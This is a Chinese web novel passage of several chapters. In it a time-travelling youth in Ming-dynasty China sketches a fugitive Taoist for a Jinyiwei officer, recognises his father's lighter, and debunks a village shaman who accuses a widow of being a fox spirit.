沈瑢一口浊气都堵在胸口,好险没给憋死。还是谢百户把他放到地上,并顺手拉开了那个人,才让他终于可以痛快地咳嗽,直咳得鼻涕眼泪直流,吐出一滩带血的胃液,才终于觉得灌进体内的那股子烟气被屋外的新鲜空气给顶出来了。 在帅哥面前这副模样有点太丢脸了……沈瑢尴尬地想拉起衣襟擦一下脸,险些被自己衣服上的血腥味 5. 画技 《我到大明抓怪物》全本免费阅读 玄鹤,乃是紫芝观副观主,白鹤真人的师弟。对外是个会几手拳脚功夫,负责道观安全,且会教附近的孩子打几路拳强身健体的老实人。比起仙风道骨的白鹤真人来,香客们对他的印象就是沉默寡言不甚起眼。 然而白鹤是个实打实的妖人,玄鹤又怎会是盏省油的灯?紫芝观中大事皆掌握于他二人之手,白鹤既死,玄鹤便是重要线索! 只是在祭祀之前,玄鹤便已离开了紫芝观,号称出外云游,不知所踪了。 锦衣卫自然是要画影图形,广发海捕文书。无奈玄鹤此人相貌平平,毫无特色,便是跟着他学过拳脚的人,形容起来也不过是“身材略高”、“腰膀强健”、“五官周正”之类的说法,还不如那五官不周正的,还能找出几分特色,绘张略像些的图形。 如今画出来的图样实在是……便是谢骊看了都得说,若能凭这张图在人群中找到玄鹤,那八成是哪位与白莲教有深仇大恨的神明显灵了…… 罢了,这灵还是不显的好,谁知要付出什么代价呢? 但如今这万家小子说能画?那便是笑话了。 锦衣卫打探消息的本事那是一流的,就是朝中那些阁老尚书们,只要锦衣卫愿意,连他们穿的底裤绣了什么样的花纹都能得知。似万家这样的新贵,家中毫无底蕴,老家这边更像筛子一般,那消息不用自己打探就往外头漏。可以说,在知道万瑢身份的当天,他所有的消息就都送到了谢骊的案头——若说他会画,那乡下顽童的涂鸦怕也可算绘画了吧? 沈瑢当然知道原身不会画画,但他现在只能想到这个,当下硬着头皮,顶着谢骊锋利的目光道:“我与一个云游僧人学过绘画,绝对比衙门里画得更像,跟本人一模一样的像!大人不信,我,我现在就能画!” 他现在怀疑,刚才放火的那个说不定就是玄鹤,毕竟紫芝观的道人们肯定都被抓起来了,还有谁能跑出来放火?若是外人的话,又怎么会对观内地形如此熟悉,能绕过锦衣卫的防备? 这要不赶紧把他抓住,沈瑢感觉自己睡觉都不敢合眼! 别人还没说话,阿金先咋咋呼呼地开口了:“哥儿你什么时候学的画?哪来的和尚啊?” 沈瑢恨不得把他嘴堵上,没好气道:“什么时候?就你在屋里偷懒睡大觉的时候!”跟着原身的时候不见用心,拆起台来倒是起劲。不过也幸好这小子爱偷懒,倒是给了他撒谎的余地。 阿金脸皮还没厚到跟他爹一样,闻言顿时脸红到了耳朵根,不敢吭声了。 沈瑢转过头去,继续向谢骊大力推销自己:“玄鹤是副观主,妖术只怕不逊于白鹤。这些年紫芝观香客甚多,也不知这些妖人是否向香客们下过手……” 这话说得在场的一些官员都有些动容。他们家里都有人去过紫芝观,若真是那些妖人胆大包天,对他们的家眷也施了什么妖术可如何是好? 这还是他们不曾亲眼看见白鹤化成的人头蜈蚣,否则恐怕更要大惊失色了。 谢骊倒是多看了沈瑢一眼——这些官员们都不曾想过妖人可能在百姓身上做些后手,这个纨绔子倒是想到了…… “既如此,给万公子准备笔墨。”就凭着这句话,他且再给万家小子一次机会,看他究竟能画出什么来。 一干来接人的面面相觑。沈瑢可不管他们,连忙跟上谢骊,一边补充道:“我不要笔墨,给我根炭条就好。纸也不要好的,要硬些。” 白鹤已死,谢骊就占据了白鹤的居处。其余人都被挡在外头,站在夜色里等着。 谢骊发了话,董长青也未敢敷衍,寻来的是柳枝炭,乃是民间一些画工用来勾底线的,比沈瑢想的还要好使点,就是没有画板,他只能趴在桌子上画。 原身的记忆虽然有些破碎,但对白鹤玄鹤这两个头目的记忆却极之深刻,沈瑢只消稍稍一搜索,玄鹤那张毫无特色且表情麻木的脸就从脑海里跳了出来,并随着他的炭笔,渐渐出现在纸面上。 董长青送了炭条过来就没走,站在他旁边伸着脖子看了一会儿,忍不住小声说:“大人,他这好像还真有点——”有点意思啊? 谢骊也微微皱起了眉头。在他看来,万瑢握着那柳条炭的手势真如小儿一般,在纸面上擦擦蹭蹭,更是如同顽童涂鸦,全无章法。可随着他那古怪的绘法,纸上竟是渐渐浮凸出一张栩栩如生的脸来,竟像是图画之中真藏了个人,只要眨眨眼睛便能从纸面上探出头来似的。 这是从何处学来的? 谢骊年纪轻轻就加入锦衣卫,这些年也算见多识广,可此等画技却是从未见识,以至于沈瑢将画好的玄鹤像送到他眼前,他一时也没说出话来——虽是用炭条涂抹出来的,可栩栩如生,照着这样的画像,何愁抓不到人? “玄鹤我见过多次,这画像绝不会有误。”此时此刻沈瑢还挺感谢大学里的学姐,当初虽然拉他入美术社其实是想骗他去COSPLAY,但毕竟他还是在社团里学到了一些真东西的。 “万公子这画技果然非凡……”谢骊终于接过画像,却没有仔细看,只盯着沈瑢,“怎这些年,竟不曾听闻半分?” 沈瑢睁眼说瞎话:“我学画并非为博名——当初在父亲墓前守孝,偶遇一僧人云游至此,他所背行囊中皆是各种画卷,无论山水人物皆与众不同,我觉得这种人像之法特殊,想为亡母也绘一张肖像以做纪念,就向他求教——他出家之人与人为善,也就慷慨教了。” 谢骊不置可否,只问道:“那万公子为令慈所绘的画像呢?未曾供奉在观内?” 啊这……真是一个谎话就要用十个谎话来圆,沈瑢只能硬着头皮继续编:“我对亡母的记忆竟是不深,绘出来总觉得不像……祖宅这里亦没有识得我母亲之人,便是想从别人口中打听一二也是不能……或许京城宅子里会有记得她的老仆,也不知有没有机会回京城去问一问。” 满口谎言——谢骊漠然地想。 前头说学画时已然是说谎,后头就更是胡言乱语。尤其说到亡母之时,这通身上下谢骊也不曾品到半分孺慕之香。还说什么想问一问老仆,不过就是还想回京城罢了,至于那画像,怕是也从未动过笔吧? 之前在祭坛的时候,沈瑢头脸披血衣裳破烂,形象那叫一个惊悚,便是谢骊也只注意到了他身上那浓重的恐惧,却没看清楚他的脸。 如今人洗擦干净了些,露出来的这张脸却与他京城里的兄姐毫无相似之处,显然是更像他那个出身贱籍的生母——眉眼秀丽,配上少年人尚未长开的身形,像初春时分刚刚抽条的青柳,虽然因为被活活饿了几天,看起来有些憔悴,却有极为可爱的翠色与生机。 可惜这般一个人物,却是如此凉薄……这等人到了太子身边,岂不是带坏了太子? 谢骊忽然之间又想把这人再关进房里烧一回了。虽说贵妃已经传召,但涉及白莲妖人总有些意外…… 不过他看看手中的画像,又暂时打消了这个念头。画像是真的好,比衙门里出的海捕文书强的何止十倍,偏这等画技绝非一日之功,便是将这图拿出去,衙门里的师爷一时也仿不出来,少不得还要让沈瑢再多画几张方好四处张贴…… 罢了,此时捉拿玄鹤更为要紧。 “万公子可能再多绘几幅画像?” 沈瑢倒不晓得自己险些又要被烧,但得谢骊这一句话,也是暗暗松了口气:“自然可以,要多少幅都行。”能在谢骊眼皮子底下画像,总比回了万家安全。 他一边拿起炭条画画,一边厚起脸皮,打听起自己最关心的消息:“这些妖人究竟是要做什么?我仿佛听见那白鹤说什么九日十日的,总不是做法求雨吧?” 谢骊淡淡道:“此等淫祀不过妖言惑众,万公子也不必理睬。” 这怎么是妖言惑众呢?人头蜈蚣是真的,他借尸还魂也是真的啊!还有,还有玄鹤想要烧死他,也是真的啊!这祭祀必然是有点东西的,绝对不是单纯的骗子! 但这些话他都不能说,最终只能硬着头皮道:“可我这都险些死了一回,总不能什么都不知道……就是将来回了京,娘娘和皇爷若问起来,我也不能一问三不知啊……” 他越说声音越小,最终在谢骊漠然的目光里闭上了嘴,但想想又觉得不甘心,小声嘀咕了一句:“什么都不说,百姓什么都不知道,下次遇到妖人不还是要受骗上当吗?” 谢骊淡淡瞧着他。拿万贵妃来压人,本是他最厌恶之事。但万家这个小子,口中说着贵妃云云,却并没有那种真正仗势欺人的霉臭气息,反而是说完话之后那种察颜观色的小表情,莫名地让人厌烦不起来。 那仿佛一只小狗,想出去玩儿又怕主人心情不 6. 父亲的消息 《我到大明抓怪物》全本免费阅读 沈瑢张了张嘴,不知道该说什么。 他当然是见过的,但他见过的是他母亲的爱物——原本是一对儿的丘比特打火机,是他们出去旅游的时候在当地买的,也就是他父亲跳海救人的那一天,两个打火机,一个随着他父亲永远沉入了海底,剩下的一个被他母亲当成心肝宝贝一样收藏着,像是收藏着对他父亲的那颗心…… 但是这么“现代”的东西,怎么会在大明出现? “这东西,这阳燧——”沈瑢简直不知道该说什么才好,他下意识地按了一下,发现这东西打不出火来——外形虽然很像,但没有发火机构,把上端的铜盖掀起来,会发现这只是一个小盒子,里头放着一块半透明的朱红色矿物,上头好似刻了许多符文。 诶,这不是朱砂吗?打火机里放朱砂?这能打出火来?但他刚刚明明看见,这东西摔到地上的时候,曾经迸出过几点火星…… 大明版打火机?沈瑢脑海里升起一个念头,却又不敢深思:“这东西是——谁造的?” “妖道李子龙。” 沈瑢吓了一跳:“李子龙?”那可是大名鼎鼎的白莲教党徒啊!什么行刺成化帝啦,什么被斩首又复活啦——以前他还能当野史看看,但来到这个大明朝,这事儿还就不好说了。 但,李子龙怎么会做这种图案呢? “这上头的……上头的小孩是……” “是日中九乌之使者。”谢骊一边说,一边观察沈瑢的表情,“其箭携日中之光,所到之处繁花盛开。” 沈瑢瞠目结舌:“日中……九乌之……使者?”小天使,也算是使者吧?但为什么是日中九乌的使者呢?哦——是因为能打火吧? “正是。”谢骊伸手,沈瑢本能地想把手缩回去,但还没等他动,手心就空了,那个“打火机”已经到了谢骊手里,“此乃是仿制之物。” “仿制?”沈瑢的脑袋上仿佛亮起了一盏小灯泡,“那原版——我是说,那被仿之物在哪里呢?” 这次谢骊没有回答了,反而问道:“万公子对此物十分关心?” “我……”沈瑢也知道这样刨根问底肯定会引人怀疑,但他实在不能不问,要知道,这可能是他父亲的东西啊!如果父亲的遗物会出现在这个与历史不同的大明朝,那他本人会不会也…… 万事不决,推给和尚吧。沈瑢把眼睛一闭又开始说瞎话了:“当初我学画之时,看那僧人有一幅画甚是怪异,绘着一人身着异族服饰,手中就握着这般一个物事,上头燃着一团火苗……我看得奇怪,问他时他说乃是云游途中见过这般的一个人,手中之物取火极是方便——” 尚未说完,谢骊已然欺身过来:“此画万公子可还记得?可还能画出来?” 他贴得太近了,沈瑢闻到了一股冷冷的香气,若有若无,有点像在冬季的清晨呼吸的空气,似乎都是带着锋芒的,甚至给人一种有点危险的感觉。 沈瑢不由得向后一仰,有点结巴起来:“什,什么?”你别靠这么近啊,杀伤力有点大! 谢骊却不为所动:“我说万公子能否将那幅画绘出来?”他能感觉到沈瑢在说谎,但有一点可以肯定,万家这小子是真的见过这阳燧器,且——极可能见过的还是那枚真品! 沈瑢当然能画!他简直是巴不得谢骊问这一声。于是在外头夜色里熬着的一干人等就看见,映在窗户上的人影又坐了下去,显然是一时半时的不会出来了…… 沈瑢没见过自己的父亲,但见过相片,此刻当然也是照着相片画——画像上的人二十七八岁,一头短毛,身穿短袖T恤,满脸阳光的笑容。只有手里那个打火机是他另外加上的,毕竟据他母亲说,父亲其实不抽烟,只是喜欢玩打火机,家里攒了一小堆,害得母亲还要格外把里头的燃料倒出来,免得万一引发火灾…… 谢骊紧紧盯着这张画像——这画像上的男子,竟是真人!他能从这画像上感觉到一股生气,这是真真存在于世的,绝非杜撰! 只是这股生机若有若无,似乎此人是生是死尚在两可,倒是头一回遇到。 且此人手中所执的阳燧器,他敢断定,正是如今存放于京城皇觉寺中的那枚真品!虽则外表上只有些许差异,但内里构造其实大不相同,李子龙所仿造的不过是有表无里,所用术法亦全然不同。 这是只有亲眼见过两者的人才知道的区别,可在这幅画中,却是准确地表现了出来——这画中人究竟是谁? 谢骊猛抬头看向沈瑢:“万公子可能将那僧人也绘出来?” “这当然可以……” 云游僧人是不存在的,但要糊弄一下有什么难的?照着西游记里的唐僧画不就完了嘛,这个形象更是烂熟于胸,画起来丝毫不费脑子,只是费手腕——这个万瑢真是不行,才画几幅画手腕就开始发酸了,身体素质太差! 沈瑢有点夸张地揉着手腕,一边眨着眼睛看谢骊:“谢大人,这画中的阳燧器,我瞧着与紫芝观这枚有些不同啊。据那僧人说,这东西只需要按一下就能取火,什么人都可用。” 谢骊当然知道。此物早由皇觉寺中人仔细研究过,确系平常人亦可使用,但其工艺却世所未见,唯鬼斧神工可得。其中所存储的一小管气状物,更是无人识得,只能以其外部所绘的羽翼童子,分辨为日中之精火罢了。 然而这般一件异物,却无丝毫妖力,仿佛就是一件最平常之物,与普通百姓家中人人可用的火石火镰并无区别似的——这方是最为诡异之处!岂有鬼神所造之物,可轻易由常人掌控之理? 此物乃是由李子龙带入大内,并在其尸身上发现的。虽则李子龙死而复生,此物倒是没能带走,如今仍藏于皇觉寺中。后于白莲教几处分坛中发现了这种仿造的“阳燧器”,才算让锦衣卫松了口气——看来此物并非李子龙之力所能制出,怕也是他偶然得来,只是来处却也无可追寻了。 但今日看了此图,竟是意外之得,莫非此物原属此人?这般装束,倒确似是方外异人,只不知又是何来历,是吉是凶,以及……此人如今又在何处? 还是要寻到那僧人方能得知。但——谢骊目光微沉,看向一脸天真还在叫手腕酸的沈瑢——这小子打听此物又是做甚?莫非是那僧人曾经对他说过什么? 一时之间,谢骊很想直接把人抓起来,北镇抚司的一百零八种酷刑可不是徒有虚名的。 但眼下这也只能想想,谢骊微微垂下眼,淡淡道:“李子龙确是曾携此物进过大内——如今看来,或许便是自此异人处所得?你可知此异人又是何身份?” 沈瑢不禁一阵失望。看来谢骊并没有见过他父亲。但打火机落在李子龙手里,那很有可能是李子龙跟父亲才有过交集。 虽然这听起来很是不可思议——他父亲在海上救人牺牲,却会来到大明……但想想他自己都借尸还魂了,很明显,这两个世界通过一种奇异的方式有着交集。 沈瑢本能地感觉到这里头有巨大的秘密,但他其实不太想知道。太过好奇会害死猫,他只想回自己的世界去。但现在有父亲的消息,尽管只是一种可能性,他也没法置之不理啊。 那现在问题来了:在哪儿能找到那个李子龙呢? 沈瑢悄悄地瞄了谢骊一眼:很显然,要说找一个白莲教党,那必然是锦衣卫最拿手,所以说来说去,他还是得抱紧眼前这人的大腿——至少从目前来看,没有更好的办法。 所以从京城跑回诸城送信的万家长随等了一夜,就等回一个“哥儿已经在紫芝观歇下了”的回答,险些要跳起来:“怎么歇在紫芝观?京里头娘娘还等着呢!” 依他说,一个婢生子能进宫去给太子做伴读,简直就是不晓得祖坟上哪点冒了青烟,理该连夜收拾行李,忙忙的进京才是! 什么,你说小公子刚刚被白莲妖人绑了票,受了惊吓?那又算得了什么!这不是也没事吗?再说什么地方能有天子脚下安全,既害怕妖人,还不赶紧进京,京城里头有皇爷和娘娘庇护,还有甚可怕! 无奈他的咆哮并无用处,留小公子住下的是锦衣卫北镇抚司的人,就算这长随本人在京城横着走惯了,也没胆子真跑去谢骊面前叫嚣,不过只能在自家跳跳脚罢了。 此刻,谢骊却是拿着几张画像在灯下思索。 董长青是从头至尾看了的,但此时再对着画像也忍不住啧啧称奇:“若不亲眼目睹,怕也难以相信会有此等画技……不过,万家这小子——”就像之前他很难相信万瑢妖化一般,现在他也很难相信万瑢真有点儿材料,“这画技可非一日之功。” 谢骊当然比他看得更清楚。这等画法乃是以深浅墨色在纸上擦出轮廓,与皴法山水略有些相似之处,但没几分功底却是无法画出这般神韵来的。万瑢固然返乡六年,但他的行踪其实都能查探出来,略一反推便可知晓,他真正所谓“守墓学画”的时间根本寥寥无几——骗骗万家人也就罢了,要骗锦衣卫谈何容易! 只是学画虽假,画技却真,这纸上人物更是真的。前有一个望之便不似此间人的异客,后头这个云游僧人亦是眉目俊秀中带着佛性,犹如有宝光一般,甚至比宫中僧录司那些个上了度牒的“大师”更加宝相庄严! 这般出众的二人,又与李子龙、与白莲教,有何瓜葛呢? “带他回京。”谢骊将手中画像放下,徐徐道,“玄鹤的画像交与此地官员,着人用心搜捕,我们收拾收拾,回京交差。” 董长青挠了挠头:“那这 7. 跳大神 《我到大明抓怪物》全本免费阅读 沈瑢在紫芝观住了两天之后,踏上了去往京城的路。 他原想这两天时间可以用来探查一下关于祭祀的消息,至少回祭坛去再仔细搜索一下,但事实上他只是坐在屋子里画了两天的画像——玄鹤的。因为一张画像根本不够用,而衙门里又没人能仿画出来。 沈瑢画得手酸,却又无可奈何。万家人都被他自己赶走了,主要是怕阿金发现他不是原主;紫芝观的道士们又被拘押,整个道观都被锦衣卫接管,他不听话还能怎样?想一想玄鹤多半还在暗中等着取他性命,他也只能老老实实的了。 当然,他不是没努力向来送饭的锦衣卫打听过,但那个董长青!长得既没谢骊好看,态度却比谢骊还差劲,简直就差在脸上写上“我很嫌弃你”几个大字了!他努力理解了一下,好像是觉得他不配去给太子当伴读。 沈瑢也有点恼火:是他自己想当这个伴读的吗?他才不想呢! 沈瑢好歹是知道点历史的。如今是成化十七年中,太子朱祐樘应该是十二岁。其实由于子嗣太少的缘故,朱祐樘六岁被立为太子,九岁就出阁读书了,但一直拖到如今才说要挑伴读,里头未必没有万贵妃的插手。 万贵妃当然是不喜欢太子的。她自己生的儿子夭折之后,对宫内的妃嫔便盯得死紧,然而百密一疏,朱祐樘还是在她眼皮子底下出生并且长到了六岁,想想万贵妃那脾气,就知道她绝对不会喜欢这个孩子,要不然太子的生母纪氏也不会那么早就死了。 纪氏死后,万贵妃也曾想过笼络太子,然而她这想法真的有点太一厢情愿,父母之仇不共戴天,哪怕并无实证说纪氏是被她所杀,太子也不可能被她笼络过去,所以才会有太子去她宫中赴宴,滴水粒米不敢入口,还说“怕有毒”的名场面了。 根据沈瑢看的那点历史,万贵妃在这个时候可能就已经起了废太子的心思了,毕竟邵妃生下的皇四子朱祐杬今年也六岁,这在古代就已经算是“站住了”,不太容易夭折,可以派上用场了。 想废太子,却还叫他去给太子当陪读?反正沈瑢想想,就觉得这不是啥好事儿?别的不说,就他这个身份,太子会待见他吗?一边不待见,一边可能只是把他当弃子来占个位置,想想就前途堪忧。 而且陪太子读书可不是件容易的事。成化帝自己是懒开经筵不爱读书的,但他对太子倒是完全按规矩来,配备的老师都是名家重臣,翰林院里的状元们排排站,就新状元还不一定排得上号,只能当个助理——哦不,官方名称可能叫做展书官? 而朱祐樘自己也是个勤学的太子,读书就是真读书,不是那种做做样子的。所以沈瑢一想太子已经读书三年,就觉得这个陪读的名额烫手——他,他当然也是读了很多年书的,假如让他和太子比个数学物理什么的他妥妥胜出,但要是说读圣贤书,他就真的两眼一抹黑了。 太子读书不好要打陪读的手心,那陪读要是读书不好呢?不会屁股上挨板子吧?不知道老师们看在万贵妃的“面子”上,是会打轻一点,还是会打得更重呢?万贵妃又会不会给他撑腰? 但即使前途看起来就不光明,他还是得去。第一他现在没有违逆万贵妃的资本,第二,他得了解这个世界,尤其是了解那些不存在于历史中的怪异,才能找到回去的办法——京城是天下繁华的中心,皇城是天下权利的中心,无论是什么信息,应该都是那里才最周全…… 且,虽然谢骊并没有说,但他猜父亲的那个打火机,很有可能就在京城,在皇家手中。 于是他在一个清晨,登上了前往京城的马车。 古代这个出行条件是真的辛苦。 万家给他配备的马车已经算是精良版,但速度快起来的时候也仍旧颠得人骨头架都要散了——当然,万瑢这个身体也是弱鸡了一点,至少沈瑢自信假如是自己的原装身体,肯定更抗造! 然而原装身体并没有跟来,沈瑢也只能在马车的颠簸中勉强撩开窗帘,呼吸一点新鲜空气来消除眩晕和恶心。 只不过他才掀开窗帘,迎面就给扑了一脸的土。这年头就是官道也没有柏油路面,更不用说他们现在已经下了官道,走的是民道。黑黄色的土路,里头混了些啥沈瑢也不敢想,反正是坎坷不平再加尘土飞扬。且他才掀帘子,正好董长青提马凑过来,带起的尘土兜头兜脸,硬把他的深呼吸给呛了回去。 董长青毫无同情之心:“万公子少安毋躁,前头就有村子可以歇脚了。”他瞅一眼满脸菜色的沈瑢,继续又捅了他一小刀,“不过农家简陋,怕是要委屈万公子了。” “怎么在农家?”万家那位从京里来的长随也是没吃过多少苦头的,跟沈瑢一样颠得七荤八素,只想找个驿站好好洗个热水澡,再找张高床软枕美美睡一觉,现在听见要宿在农家,简直如同晴天霹雳,险些跳了起来,“我家公子是贵妃娘娘宣进京城的,你们——” 他话说到一半突然没声了,沈瑢勉强挥散面前的尘土,好奇地看一眼,就发现谢骊不知什么时候策马也靠近了马车——他只是淡淡地扫了那么一眼,长随就跟被打了一棍子的狗似的,一点声都不敢出了。 幸好前头开路的锦衣卫已经策马奔了回来,说村子已经近在咫尺,只不过现在好像有点热闹…… 这个热闹还真是够热闹,马车才到村口,沈瑢就已经听见了一片喧哗,唢呐声吹得如同嚎丧,高高的火堆与昏黄的夕阳一起,给整个场面都涂上了一层说不出的诡异色彩。 “他们在干吗?”沈瑢从马车上下来,脚踏实地之后终于觉得浑身的骨头都归了位,于是很有兴趣地问,“跳大神吗?”这种活动他还只听说过,没亲眼见过哩。 火堆旁边那个“大神”其实也很寒酸,但比起周围的村民来说,他至少衣着鲜艳,从脸上的面具宽度来判断,人也长得比较肥美一些,跳起来的舞步颇为灵活有力,边跳还边嗬嗬乱叫,就连唢呐的声音都没能完全盖过去。 所以虽然没人搭理沈瑢,但他还是听到了那位“大神”的声音:“狐妖,狐妖!” 随着这声喊,大神将手一抬,旁边迅速有人端上一碗水,大神满饮一口,然后向前一喷,水花四溅,喷得他前面的人左右闪开,就露出了后面被绑着的一个女子。女子面上被贴了一张黄裱纸,跟蓬乱的头发一起,挡住了她的脸。 但即使如此,也能看出她身材玲珑有致,尤其是被绳子那么一勒,更显得腰是腰胸是胸,就连旁边围观的人群里,也不乏一些别有用心的目光。 不过这一口水喷到黄裱纸上,所有的人就都顾不上看什么身材了,因为随着那张被打湿的纸软软塌下去贴到女子脸上,纸面上竟逐渐浮现出一只黑色的狐狸来,虽然只是如同淡墨画成的一个轮廓,但那条大尾巴和尖尖的嘴鼻极具辨识性,人群中顿时爆发出高高低低的尖叫声:“狐狸精!果然是狐狸精!” 大神将水碗一扔,拔出腰间的桃木剑指着女子,大声喊道:“狐精附体,家宅不宁!欲除狐精,须用真火!” “烧了她!烧了她!烧了她!”人群沸腾了起来,许多只手一起伸出来,像无数刀枪一般,指向空地中央燃烧的火堆。 谢骊眉头一皱,正想说话,沈瑢已经冲进空地,一把扯下了盖在女子脸上的湿纸。纸扯下来才看见,女子已经被憋得脸色发青——她嘴里被塞了一团破布,堵得结结实实,湿软的厚纸再贴在口鼻处,真能把人憋死! 但根本无人在意此事,反而是沈瑢的举动惊到了所有人,大神的嗓子都是破的:“什么人来惊扰神灵?放跑了狐精,如何是好!” 万家的长随也没料到这位小公子会突然间冲出去多管闲事,但他跋扈惯了,第一反应就是跟着自己家公子跳了出去:“什么如何是好!你知道我家公子是谁吗?冲撞了我家公子,打断你的腿!” 别说,他这一嗓子还真把村人都给镇住了。毕竟神灵虽然令人敬畏,但有钱有势的老爷更可怕,一时间连大神本人都哽住了,小心地向身后看了一眼,看见马车旁边几名高头大马的锦衣卫——虽然他们不认得锦衣卫的丹黄曳撒,但也知道佩刀携箭的必定不是他们惹得起的人,顿时便有些怂了半截,还是村长颤颤微微地走出来,小心地行礼道:“这位公子,我们,我们村里正在请神驱狐精,这——公子您看……” “这什么狐精啊?”沈瑢抖了抖手里的黄纸,“装神弄鬼罢了!”拿这骗谁呢?这玩艺儿学过化学的就能搞出来 8. 我叫周鱼 《我到大明抓怪物》全本免费阅读 此时,那女子不知怎么弄的,终于把口中塞的布给顶了出来,嘶哑着嗓子反驳:“我是要再嫁,官府都没说不许寡妇再嫁,凭什么就你们说我通奸?” 半老男子指着她斥道:“你嫁到我王家来就是王家的媳妇,岂由得你说来就来,说走就走?我那兄弟不幸死得早,你不好生给他守节,过继个孩子承香火,整日只想着找男人,真是天生□□!” 女子尖声道:“你说得好听!我嫁进来一年,你就撺掇说我无子要把我休回家去,天□□打暮骂!后头他自己喝酒喝死了,你又说要过继,硬把你家那个赌钱的老二要塞过来——你哪里是为了给那个死鬼承香火,分明是要占这份家产!老娘何曾跟人通奸,他孤我寡,怎么就不能正经议亲事?” 半老男子脸胀得通红,举手给了女子一耳光:“你这个贱人,竟敢信口开河!那是我兄弟,我过继儿子给他天经地义!说什么议亲事,那边早就承认了,你就是勾引他,根本没有什么嫁娶之事!” “你胡说!”女子剧烈地挣扎起来,两个人几乎都没能按住她,“他说了要来提亲,我们是明媒正娶!” 半老男子冷笑一声,抖开一张纸,在女子面前晃了晃:“看见没有,这是他亲手写的,都是你这贱人不守妇道存心勾引,人家一个读书人,岂能要你这样的淫-妇?如今人家已经议亲了,要娶清白人家的女子,你就别再痴心妄想了!” 沈瑢瞅了一眼那张纸,一时没认出来黑压压的写的什么内容,但纸末一枚鲜红的指印倒是十分清晰。女子似乎是认得那枚指印,一眼看过去就呆住了,整个人都要软了下来,只是口中喃喃道:“胡说,你们胡说,他,他说了会娶我的……” 半老男子冷笑道:“你不过是想带着我王家的家业跑罢了,我岂能容你?今日已晚,把她带下去关起来,明日一早沉潭!” “哎——”沈瑢吓了一跳,刚要开口却被万家长随死死拉住了:“我的小爷,可别再多管闲事了!这是人家家事,这不守妇道的妇人本就该死,咱们快去找地方歇着吧,明日还得赶路呢!宫里头贵妃娘娘急等着你,可不敢叫娘娘着急!”他现在就是后悔刚才没能看住这位小祖宗,也实在没料到他竟然会跳出来替一个小寡妇说话啊,这是犯什么病了,怎么自从出了紫芝观那档子事儿,这小祖宗就好像变了个人似的,莫不是真被那些妖道…… 不不不!长随赶紧打消自己心里的猜疑——这些事可不是他该想的,他的任务就是把人送进京城交给贵妃娘娘,至于到底有没有被那些妖道作法弄出什么妖异之事来,那都与他无关! “什么不守妇道——”沈瑢也急了,“朝廷都没说不许寡妇再嫁,他们凭什么——”这可是一条人命,沉潭不就是要把人活活淹死吗? “哎哟我的小爷——”长随一急,直接把沈瑢的嘴捂上了,“咱们快去找个住的地方吧!这种事都是族里作主,这是人家一族的脸面,外人可管不着!”这种村子里头都是族老为尊,衙门都不好管,何况他们只是过路的。 沈瑢眼睁睁看着两个男人把女子拖走了,她似乎已经完全认命,丝毫也没有反抗,头耷拉着,像一株被风吹折的麦子,了无生趣。 他还想再说点什么,但是长随也顾不得以下犯上,招呼了同伴过来,很干脆地把他也拖走了——毕竟万瑢还只是个十四岁的半大孩子,到底也没挣扎得过两个成年人,只能悻悻被拖去了村长家里。 说起来这也是个大村了,村长家的新房也是砖瓦房,由村长的妻子带着两个儿媳亲自收拾出来,据说床上铺的盖的都是小儿媳带进来的嫁妆,崭崭新的那种,甚至床都不是这边常见的土炕,而是一张雕花木床,虽比不得江南那边大名鼎鼎的“千工拔步床”,在沈瑢看来也算是不错的了,毕竟原主在万家守孝这三年,睡的硬板床也不比这强。 村长家的饭菜也是诚意十足。他年纪虽大了些,耳朵却不背,刚才就听见了万家长随说的什么“宫里头贵妃娘娘”。便是这村子里的百姓,也晓得如今最贵的那位娘娘是谁,村长没敢直接问贵人姓甚名谁,却转头就杀鸡宰猪,恨不得把整个村子里的好东西都搜罗上来。 用了饭,众人各归房中歇息。村长家拿得出手的房子也就这么几间,谢骊也得与董长青崔和二人挤一间房,倒是方便了说话。 董长青素来嘴快,关了门便有点稀罕地道:“想不到万家那小子,还挺机灵……”装神弄鬼的这些把戏,他们锦衣卫在外头看得多了,只没想到万瑢反而抢在了他们前头。 崔和却皱了皱眉:“他如何知道的这些?”以万瑢的身份,原是不该知道这些江湖伎俩的——或者换句话说,若是他真懂这些三教九流的手段,也不该被紫芝观给骗了去险些丧命。 谢骊倚着床头坐着。村长家这饭菜实在太过“丰盛”,那几乎满溢出来的讨好,与厨下妇人的畏惧交织在一起,其中还有宰杀了自家鸡猪的心疼,甚至还有因这鸡猪份属各房不同而产生的不平,那味道简直了——甜得发腻,酸得跳脱,苦得入心,这会子皆堵在胸口,喝水都冲不下去。 这滋味腻得他懒怠多想万瑢之事,只道:“且先盯着。倒是将于志留下,明日他们沉潭,便将那女子悄悄救了,送往别处去讨生活罢——好歹也是一条性命。” 于志水性精绝。这村子后头的水潭虽深,却也难不住他,只消笼子下水,他便能神不知鬼不觉地自水底将人带走。这些村落相对都消息闭塞,数十里外便可能老死不相往来,到时候把人往百里开外一送,也就无人知晓了。 董长青点了点头,评论道:“这女子也是眼神不济,挑男人也挑不中个好的……”还想着明媒正娶呢,结果人家得点好处就先反了口,这种事他们也见得多了,只不过别的人只是吃点亏,这个女子却要丢了命——什么过继,什么不守妇道,都不过是为了争她那份家业罢了。 谢骊淡淡道:“人心难测,指着别人搭救,终究不是长久之计,倒不如自己挑个好的过继了,若有本事,还能守得住家。” 董长青嘿嘿笑道:“这倒也难。妇道人家,有几个真有本事的。” 谢骊懒得言语,倒是崔和驳道:“倒也怪不了她,这等村子里都是族老作主,便过继也不是她自己能做主的。休说这等乡下,那大家族里头不能遂意的也多了去了;别说女子,男子不能自己做主的也不少见。” 董长青嘿嘿一笑道:“你是大家出身,自然你说的是。” 这话说得叫人恼火,崔和的眉眼登时就要立起来,冷笑道:“且不说别的,你前几年看上的小桃红,娶了没有?” 这一针倒是扎准了地方,董长青无话可说,只咧了咧嘴干笑道:“不过是说个醉话……”他去年相中一个茶楼里唱曲的姑娘,酒后在家说了一句想娶,结果被他的寡妇老娘骂得狗血淋头,别说娶了,连那个茶楼都没敢再踏进一步。 这事儿也就是他们几个要好的兄弟知道,但此刻被崔和戳破,多少也有些脸上挂不住。谢骊看他这副模样也不禁有些好笑,正欲打个圆场,就听外头又有些乱,不禁眉头一皱:“又是怎么了?” 董长青正被崔和刺得难受,连忙自告奋勇往外跑:“我去瞧瞧!”去了半日方转回来,一脸的古怪,引得崔和忍不住问道:“究竟何事?” “那万家的小子——”董长青一时都不知如何置评,“他去寻了村长,说要讨那女子带回去做丫鬟。” “什么?”崔和也无语了,“他才多大年纪,就这般——” 